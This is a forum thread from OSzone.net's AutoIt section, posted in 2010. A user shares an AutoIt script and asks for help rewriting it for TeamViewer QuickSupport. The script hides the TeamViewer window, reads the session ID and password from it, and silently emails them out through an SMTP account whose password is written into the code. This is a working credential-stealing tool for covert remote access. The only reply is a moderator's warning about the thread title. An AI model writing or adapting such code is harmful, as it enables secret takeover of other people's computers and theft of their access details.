Компьютерный форум OSzone.net  

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)
-   AutoIt (http://forum.oszone.net/forumdisplay.php?f=103)
-   -   Помогите переписать скрипт (http://forum.oszone.net/showthread.php?t=168749)

Hawk37 28-02-2010 00:34 1357780

Помогите переписать скрипт
 
Был ранее написан скрипт на Team Viwer

Код:

;
;##################################

;##################################
#Include<file.au3>
;##################################

;##################################
Opt('WinTitleMatchMode', 3)
WinSetState('TeamViewer', '', @SW_MINIMIZE)
$sTitle = 'TeamViewer'
$sText = 'Please enter your partner''s ID in order to create a session'
$sID = ControlGetText($sTitle, $sText, 'Edit2')
$sPass = ControlGetText($sTitle, $sText, 'Edit3')
WinSetState('TeamViewer', '', @SW_HIDE)
$sTeamInfo = 'Team Viewer details' & @CRLF & 'ID is ' & $sID & @CRLF & 'and password is ' & $sPass

$SmtpServer = "smtp.yandex.ru"
$FromName = "Имя"
$FromAddress = "Адрес от кого"
$ToAddress = "Адрес Кому"
$Subject = "TeamViewer details"
$Body = $sTeamInfo
$AttachFiles = ""
$CcAddress = ""
$BccAddress = ""
$Importance = "Normal"
$Username = "Имя"
$Password = "Centrino"
$IPPort = 25
$ssl = 0
;~ $IPPort=465
;~ $ssl=1

;##################################

;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
 MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
EndIf
;

Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
 Local $objEmail = ObjCreate("CDO.Message")
 $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
 $objEmail.To = $s_ToAddress
 Local $i_Error = 0
 Local $i_Error_desciption = ""
 If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
 If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
 $objEmail.Subject = $s_Subject
 If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
 $objEmail.HTMLBody = $as_Body
 Else
 $objEmail.Textbody = $as_Body & @CRLF
 EndIf
 If $s_AttachFiles <> "" Then
 Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
 For $x = 1 To $S_Files2Attach[0]
 $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
 ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
 If FileExists($S_Files2Attach[$x]) Then
 $objEmail.AddAttachment ($S_Files2Attach[$x])
 Else
 ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
 SetError(1)
 Return 0
 EndIf
 Next
 EndIf
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
 If Number($IPPort) = 0 then $IPPort = 25
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
 ;Authenticated SMTP
 If $s_Username <> "" Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
 EndIf
 If $ssl Then
 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
 EndIf
 ;Update settings
 $objEmail.Configuration.Fields.Update
 
 Switch $s_Importance
 Case "High"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
 Case "Normal"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
 Case "Low"
 $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
 EndSwitch
 $objEmail.Fields.Update
 
 $objEmail.Send
 If @error Then
 SetError(2)
 Return $oMyRet[1]
 EndIf
 $objEmail=""
EndFunc ;==>_INetSmtpMailCom
;
;

Func MyErrFunc()
 $HexNumber = Hex($oMyError.number, 8)
 $oMyRet[0] = $HexNumber
 $oMyRet[1] = StringStripWS($oMyError.description, 3)
 ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
 SetError(1)
 Return
EndFunc ;==>MyErrFunc

Он был написан на обычный Team Viwer помогите переписать на данную версию ( Вот ссылка с офф.Сайта http://www.teamviewer.com/download/TeamViewerQS.exe )

Creat0R 28-02-2010 02:14 1357823

Предупреждение за нарушение правил форума, пункт 2.7:

Цитата:

В заголовке темы обязательно обозначайте название предмета, которого касается вопрос, а в теле сообщения максимально подробно опишите проблему (приведите аппаратную/программную конфигурацию, а также изложите ситуацию, в которой возникает проблема).
Переименуйте пожалуйста тему.


Время: 02:33.

Время: 02:33.
© OSzone.net 2001-